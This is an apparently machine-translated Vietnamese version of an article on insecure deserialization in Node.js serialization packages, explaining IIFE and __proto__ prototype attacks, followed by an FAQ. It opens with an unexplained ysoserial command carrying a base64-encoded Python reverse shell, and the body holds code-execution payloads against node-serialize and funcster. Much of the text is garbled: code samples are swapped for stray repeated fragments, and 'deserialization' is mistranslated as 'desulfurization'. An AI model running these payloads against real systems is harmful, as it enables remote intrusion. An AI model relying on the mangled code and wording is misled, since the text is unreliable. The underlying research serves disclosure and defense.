Deserialization trong javascript là gì?

java -jar ysoserial-master-SNAPSHOT. jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}. {base64,-d}. {bash,-i}"

Tại hội nghị ZeroNights 2017, tôi đã nói về “Lỗ hổng Deserialization trong các ngôn ngữ khác nhau”. Đối với phần trình bày của mình, tôi đã sử dụng một bài viết thú vị về hai gói tuần tự hóa của Node. js. Tôi đã cho họ thấy những ví dụ về việc triển khai các quy trình khử lưu huỳnh dễ bị tổn thương. Trong bài đăng này, tôi muốn trình bày kết quả nghiên cứu của riêng mình và một cách tiếp cận mới để tấn công quá trình khử lưu huỳnh trong JS

Nghiên cứu trước đây

Bài báo đề cập ở trên nói về hai gói –

{ field1: "value1" }
4 và
{ field1: "value1" }
5. Cả hai đều có thể tuần tự hóa một đối tượng ở định dạng JSON, nhưng không giống như các hàm tiêu chuẩn (
{ field1: "value1" }
6,
{ field1: "value1" }
7), chúng cho phép tuần tự hóa hầu hết mọi loại đối tượng, chẳng hạn như Hàm chẳng hạn (i. e trong JavaScript, một hàm cũng là một đối tượng). Vì vậy, nó là một đối tượng hợp lệ

var obj = {
field1: "value1",
field2: function(){
return 1;
}
}

Nhưng nếu chúng tôi đánh số thứ tự nó bằng cách sử dụng

{ field1: "value1" }
7, thì chúng tôi chỉ có

{ field1: "value1" }

Để triển khai hỗ trợ tất cả các loại đối tượng,

{ field1: "value1" }
4, sử dụng nội bộ
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}"}
0

________số 8_______

Đây là giao diện của một đối tượng được tuần tự hóa với một chức năng. Trong quá trình deserialization, bất kỳ thứ gì sau thẻ đặc biệt

{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}"}
1 sẽ chuyển trực tiếp đến hàm
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}"}
0. Do đó, chúng ta có thể sử dụng IIFE (như đã đề cập trong bài viết) hoặc viết mã trực tiếp (như đã đề cập trong bình luận của bài viết)

Với IIFE (Biểu thức hàm được gọi ngay lập tức), tất cả những gì chúng ta cần làm là thêm () vào một hàm và nó sẽ tự động được gọi ngay sau khi nó được xác định trong quá trình khử lưu huỳnh

{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}()"}
{"anything_here":"_$$ND_FUNC$$_console.log(1)"}

Ví dụ tiếp theo là

{ field1: "value1" }
5. Mặc dù nó không hỗ trợ chức năng như một loại, nhưng việc triển khai nó vẫn không an toàn do thực tế là nó sử dụng cấu trúc tiếp theo trong quá trình khử lưu huỳnh

return (new Function('"use strict"; return ' + str))()

trong đó

{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}"}
4 là một giá trị dưới sự kiểm soát của kẻ tấn công

Thực tế, nó chỉ là một biến thể của

{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}"}
0. Vì vậy, chúng tôi có thể đạt được RCE bằng cách sử dụng tải trọng sau như đã thấy trong vấn đề sau

console.log(`exploited`)
(function (){сonsole.log(1)}())

Cách an toàn hơn?

Sau bài thuyết trình của tôi tại ZeroNights, tôi tình cờ thấy một gói xuất bản nhiều kỳ từ Yahoo. Nó cũng hỗ trợ tuần tự hóa các chức năng. Tuy nhiên, gói này không bao gồm bất kỳ chức năng khử lưu huỳnh nào và yêu cầu bạn tự triển khai nó. Ví dụ của họ sử dụng trực tiếp

{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}"}
0. Vì vậy, tôi muốn xem liệu có bất kỳ gói nào hỗ trợ tuần tự hóa chức năng và không sử dụng
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}"}
0 hoặc các chức năng tương tự không
Trên thực tế, có rất nhiều thư viện tuần tự hóa (khoảng 40 hoặc 60). Tôi đã xem qua một số trong số chúng và thấy rằng cách khử lưu huỳnh an toàn hơn là sử dụng các hàm tạo khác nhau tùy thuộc vào loại đối tượng
Ví dụ: một gói trả về
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}"}
8 mới cho một hàm, trong đó các tham số và nội dung được lấy từ các trường JSON cụ thể. Trong trường hợp này, chức năng được xây dựng lại, tuy nhiên kẻ tấn công không thể buộc thực thi nó

Tôi cũng đã tìm thấy một funcster gói dễ bị tổn thương khác. Nó dễ bị tấn công bằng IIFE tương tự như những lần trước, vì vậy chúng tôi (với tư cách là kẻ tấn công) có thể thực thi mã của mình trong quá trình giải tuần tự hóa. Đây là một ví dụ về tải trọng

{ __js_function: 'function testa(){var pr = this.constructor.constructor("return process")(); pr.stdout.write("param-pam-pam") }()' }

Gói sử dụng một cách tiếp cận khác để tuần tự hóa/giải tuần tự hóa. Trong quá trình khử lưu huỳnh, nó tạo ra một mô-đun mới với các hàm được xuất từ ​​​​tệp JSON. Đây là một phần của mã

return "module.exports=(function(module,exports){return{" + entries + "};})();";

Sự khác biệt thú vị ở đây là các đối tượng tích hợp sẵn không thể truy cập được vì chúng nằm ngoài phạm vi. Điều đó có nghĩa là chúng ta có thể thực thi mã của mình, nhưng không thể gọi các phương thức của đối tượng tích hợp. Vì vậy, nếu chúng tôi sử dụng

{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}"}
9 hoặc
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}()"}
{"anything_here":"_$$ND_FUNC$$_console.log(1)"}
0, Node sẽ trả về một ngoại lệ như
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}()"}
{"anything_here":"_$$ND_FUNC$$_console.log(1)"}
1

Tuy nhiên, chúng tôi có thể dễ dàng lấy lại quyền truy cập vào mọi thứ vì chúng tôi vẫn có quyền truy cập vào bối cảnh toàn cầu

var pr = this.constructor.constructor("console.log(1111)")();

Ở đây

{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}()"}
{"anything_here":"_$$ND_FUNC$$_console.log(1)"}
2 cung cấp cho chúng tôi đối tượng Hàm, chúng tôi đặt mã của mình làm tham số ở đó và gọi nó bằng IIFE

Bước sâu hơn với Prototype

Trong khi tôi đang nghiên cứu các gói, tôi tình cờ nảy ra ý tưởng xem xét các cách tiếp cận khác của các cuộc tấn công vào quá trình khử lưu huỳnh, được sử dụng trong các ngôn ngữ khác. Để đạt được khả năng thực thi mã, chúng tôi tận dụng các chức năng với dữ liệu do kẻ tấn công kiểm soát được gọi tự động trong quá trình giải tuần tự hóa hoặc sau khi một ứng dụng tương tác với một đối tượng mới được tạo. Một cái gì đó tương tự như "phương pháp ma thuật" trong các ngôn ngữ khác

Trên thực tế, có rất nhiều gói hoạt động hoàn toàn khác nhau, nhưng sau một số thử nghiệm, tôi đã tìm ra một cuộc tấn công bán phổ quát thú vị. Nó dựa trên hai sự thật
Thứ nhất, nhiều gói sử dụng phương pháp tiếp theo trong quy trình khử lưu huỳnh. Họ tạo một đối tượng trống và sau đó đặt các thuộc tính của nó bằng các ký hiệu dấu ngoặc vuông

obj[key]=value

nơi khóa và giá trị được lấy từ JSON
Do đó, chúng tôi với tư cách là những kẻ tấn công có thể kiểm soát thực tế bất kỳ thuộc tính nào của một đối tượng mới. Nếu chúng ta xem qua danh sách các thuộc tính, chúng ta sẽ chú ý đến thuộc tính __proto__ thú vị. Thuộc tính được sử dụng để truy cập và thay đổi nguyên mẫu của một đối tượng. Điều này có nghĩa là chúng ta có thể thay đổi hành vi của đối tượng và thêm/thay đổi các phương thức của nó

Thứ hai, một cuộc gọi của một số hàm dẫn đến việc gọi các phương thức của đối số hàm. Ví dụ: khi một đối tượng được chuyển đổi thành một chuỗi, thì các phương thức valueOf, toString của đối tượng sẽ tự động được gọi (chi tiết tại đây). Vì vậy,

{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}()"}
{"anything_here":"_$$ND_FUNC$$_console.log(1)"}
3 dẫn đến lời gọi của
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}()"}
{"anything_here":"_$$ND_FUNC$$_console.log(1)"}
4. Một ví dụ khác,
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}()"}
{"anything_here":"_$$ND_FUNC$$_console.log(1)"}
5 gọi nội bộ obj. toJSON()
Sử dụng cả hai tính năng này, chúng tôi có thể thực thi mã từ xa trong quá trình tương tác giữa một ứng dụng
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}()"}
{"anything_here":"_$$ND_FUNC$$_console.log(1)"}
6 và một đối tượng

Tôi đã tìm thấy một ví dụ hay – gói Cryo, hỗ trợ cả tuần tự hóa chức năng và ký hiệu dấu ngoặc vuông để tái cấu trúc đối tượng, nhưng không dễ bị IIFE tấn công, vì nó quản lý đối tượng đúng cách (không sử dụng

{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}()"}
{"anything_here":"_$$ND_FUNC$$_console.log(1)"}
7)
Đây là mã để tuần tự hóa và giải tuần tự hóa một đối tượng

{ field1: "value1" }
0

JSON được tuần tự hóa trông như thế. khá rối

{ field1: "value1" }
1

Đối với cuộc tấn công của chúng tôi, chúng tôi có thể tạo một đối tượng JSON được tuần tự hóa với một

{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}()"}
{"anything_here":"_$$ND_FUNC$$_console.log(1)"}
8. Chúng ta có thể tạo đối tượng của mình bằng các phương thức riêng cho nguyên mẫu của đối tượng, nhưng có một mẹo nhỏ, chúng ta có thể đặt tên không chính xác cho
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}()"}
{"anything_here":"_$$ND_FUNC$$_console.log(1)"}
9 (vì chúng ta không muốn viết lại nguyên mẫu của đối tượng trong ứng dụng của mình) và tuần tự hóa nó

{ field1: "value1" }
2

Vì vậy, chúng tôi nhận được đối tượng được tuần tự hóa và đổi tên từ

return (new Function('"use strict"; return ' + str))()
0 thành
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}()"}
{"anything_here":"_$$ND_FUNC$$_console.log(1)"}
9 trong đó

{ field1: "value1" }
3

Khi chúng tôi gửi tải trọng JSON đó tới một ứng dụng, gói Cryo giải tuần tự hóa tải trọng trong một đối tượng, nhưng cũng thay đổi nguyên mẫu của đối tượng thành giá trị của chúng tôi. Do đó, nếu ứng dụng tương tác với đối tượng bằng cách nào đó, chuyển đổi nó thành sting chẳng hạn, thì phương thức của nguyên mẫu sẽ được gọi và mã của chúng ta sẽ được thực thi. Vì vậy, đó là RCE

Tôi đã cố gắng tìm các gói có vấn đề tương tự, nhưng hầu hết chúng không hỗ trợ tuần tự hóa chức năng. Tôi không tìm thấy cách nào khác để tái tạo lại

return (new Function('"use strict"; return ' + str))()
2. Tuy nhiên, vì nhiều gói sử dụng ký hiệu dấu ngoặc vuông, chúng ta cũng có thể viết lại
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}()"}
{"anything_here":"_$$ND_FUNC$$_console.log(1)"}
9 cho chúng và làm hỏng nguyên mẫu của các đối tượng mới được tạo. Điều gì xảy ra khi một ứng dụng gọi bất kỳ phương thức nguyên mẫu nào của các đối tượng đó?

Ngoài ra, tôi nên đề cập rằng toàn bộ ý tưởng có khả năng hoạt động để khử lưu huỳnh từ bất kỳ định dạng nào (không chỉ JSON). Khi cả hai tính năng đã sẵn sàng, một gói có khả năng dễ bị tấn công. Một điều nữa là

{ field1: "value1" }
6 không “dễ bị tổn thương” đối với
return (new Function('"use strict"; return ' + str))()
5

chức năng stringify == eval

Trong khi Google, tôi bắt gặp một cách tiếp cận khác để tuần tự hóa các đối tượng có chức năng. Ý tưởng là đầu tiên xâu chuỗi các chức năng, sau đó đến

{ field1: "value1" }
7 toàn bộ đối tượng. “Deserialization” bao gồm các bước tương tự theo thứ tự ngược lại. Ví dụ về
return (new Function('"use strict"; return ' + str))()
7 như vậy là các gói
return (new Function('"use strict"; return ' + str))()
8,
return (new Function('"use strict"; return ' + str))()
9, v.v. Tất cả (?) trong số chúng đều không an toàn (do
{"anything_here":"_$$ND_FUNC$$_function (){сonsole.log(1)}"}
0 & co) và cho phép thực thi mã bằng IIFE trong quá trình hủy xâu chuỗi

Phần kết luận

Dành cho người kiểm tra. Xem kỹ ký hiệu dấu ngoặc vuông và truy cập

console.log(`exploited`)
(function (){сonsole.log(1)}())
1. Nó có tiềm năng tốt trong một số trường hợp

Cho các nhà phát triển. Tôi đang viết ở đây rằng một số gói dễ bị tổn thương, nhưng ứng dụng của bạn chỉ dễ bị tổn thương khi đầu vào của người dùng đến chức năng dễ bị tổn thương. Một số gói được tạo theo mục đích ion theo cách “không an toàn” như vậy và sẽ không được sửa. Vì vậy, đừng hoảng sợ và chỉ cần kiểm tra xem bạn có phụ thuộc vào gói lập số sê-ri không theo tiêu chuẩn hay không và cách bạn xử lý đầu vào của người dùng trong đó

Tôi đã chia sẻ thông tin về cả hai lỗ hổng với những người bảo trì của họ bằng chương trình của HackerOne. Một thông báo cảnh báo đã được thêm vào README của gói `funcster`. Chúng tôi không thể liên hệ với các nhà phát triển của cryo

Tái bút. Cảm ơn @lirantal từ HackerOne vì sự hợp tác của anh ấy đối với các lỗ hổng nêu trên

Các câu hỏi thường gặp

Tuần tự hóa và giải tuần tự hóa là gì?

Tuần tự hóa là một quá trình chuyển đổi một đối tượng dữ liệu có cấu trúc được lưu trữ trong bộ nhớ thành một định dạng đại diện nhất định (JSON, XML, nhị phân, v.v. ). Nó được sử dụng để lưu trữ dữ liệu trên đĩa, truyền qua luồng, v.v. Deserialization chuyển đổi dữ liệu được tuần tự hóa trở lại thành một đối tượng dữ liệu có cấu trúc được lưu trữ trong bộ nhớ được ứng dụng sử dụng

Đọc thêm về serialization và deserialization

Lỗ hổng deserialization là gì?

Nếu bạn giải tuần tự hóa dữ liệu thành một đối tượng và cho rằng dữ liệu đó đáng tin cậy, thì kẻ tấn công có thể tạo dữ liệu được tuần tự hóa theo cách mà ứng dụng thực hiện các hoạt động độc hại bổ sung trong quá trình giải tuần tự hóa, thậm chí có thể dẫn đến thực thi mã từ xa – đây là quá trình giải tuần tự hóa . Một số thư viện khử lưu huỳnh trong ngôn ngữ lập trình coi dữ liệu đầu vào là an toàn và theo mặc định, không bảo vệ chống lại các lỗ hổng như vậy

Đọc thêm về deserialization không an toàn

Các lỗ hổng khử lưu huỳnh có thể xảy ra trong JavaScript không?

Có, lỗ hổng deserialization có thể xảy ra trong JavaScript. Ví dụ: nếu bạn sử dụng các gói tuần tự hóa nút hoặc tuần tự hóa thành js để tuần tự hóa thành JSON và sau đó quay lại các đối tượng JavaScript, bạn có thể dễ dàng thực thi mã từ xa. Nhiều thư viện tương tự khác, trong số khoảng 40 đến 60 gói, cũng dễ bị giải tuần tự hóa không an toàn

Xem ví dụ chi tiết về hack gói nối tiếp nút để thực thi mã từ xa

Làm cách nào để bảo vệ chống lại các lỗ hổng khử lưu huỳnh trong JavaScript?

Các hàm tích hợp sẵn (JSON. parse()) không dễ bị tấn công nên bạn có thể sử dụng chúng một cách an toàn. Tuy nhiên, các gói giải tuần tự hóa tùy chỉnh cho JavaScript có các loại lỗ hổng khác nhau, tùy thuộc vào cách tiếp cận được sử dụng để giải tuần tự hóa dữ liệu. Tuy nhiên, một số lỗ hổng này là kết quả của thiết kế thư viện dự định, vì vậy chúng không thể sửa được. Với tư cách là nhà phát triển, bạn có trách nhiệm đảm bảo rằng dữ liệu được giải tuần tự hóa được khử trùng trước tiên

Đọc về các nguyên tắc mã hóa an toàn chung

Nhận nội dung mới nhất về bảo mật web
trong hộp thư đến của bạn mỗi tuần

Chúng tôi tôn trọng quyền riêng tư của bạn

CHIA SẺ BÀI NÀY

TÁC GIẢ

Deserialization trong javascript là gì?

Aleksei Tiurin
Nhà nghiên cứu bảo mật cao cấp

Aleksei là một nhà nghiên cứu bảo mật và pentester có nhiều kinh nghiệm về bảo mật tấn công. Ông cũng là thành viên tích cực của cộng đồng bảo mật toàn cầu, tham gia các sự kiện và diễn thuyết

Tuần tự hóa và giải tuần tự hóa trong JavaScript là gì?

Sắp xếp tuần tự hóa dữ liệu là quá trình chuyển đổi một đối tượng thành một luồng byte để lưu hoặc truyền nó dễ dàng hơn . Quá trình ngược lại—xây dựng cấu trúc dữ liệu hoặc đối tượng từ một chuỗi byte—là giải tuần tự hóa.

Deserialization có nghĩa là gì?

Deserialization là quá trình tái tạo cấu trúc dữ liệu hoặc đối tượng từ một chuỗi byte hoặc chuỗi để khởi tạo đối tượng để sử dụng . Đây là quy trình đảo ngược của lập số sê-ri, tôi. e. , chuyển đổi cấu trúc dữ liệu hoặc đối tượng thành một chuỗi byte để lưu trữ hoặc truyền qua các thiết bị.

Tuần tự hóa so với giải tuần tự hóa là gì?

Tuần tự hóa là một cơ chế chuyển đổi trạng thái của một đối tượng thành luồng byte. Deserialization là quá trình ngược lại trong đó luồng byte được sử dụng để tạo lại đối tượng Java thực tế trong bộ nhớ. Cơ chế này được sử dụng để duy trì đối tượng

Deserialization trong REST API là gì?

Việc tuần tự hóa đối tượng là quá trình lưu trạng thái của đối tượng vào một chuỗi byte, cũng như quá trình xây dựng lại các byte đó thành một đối tượng trực tiếp tại một thời điểm nào đó trong tương lai. The Java Serialization API provides a standard mechanism for developers to handle object serialization.